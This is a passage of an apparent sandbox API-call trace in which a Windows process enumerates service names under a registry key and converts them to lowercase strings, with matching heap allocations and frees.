lpName="BrUsbMdm") returned 0x0 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.199] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.199] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.199] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0249.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.200] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.200] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.200] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0249.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0249.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0249.201] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0249.202] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0249.203] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0249.204] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0249.205] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0249.206] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0249.238] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0249.239] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0249.240] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0249.241] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0249.242] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, 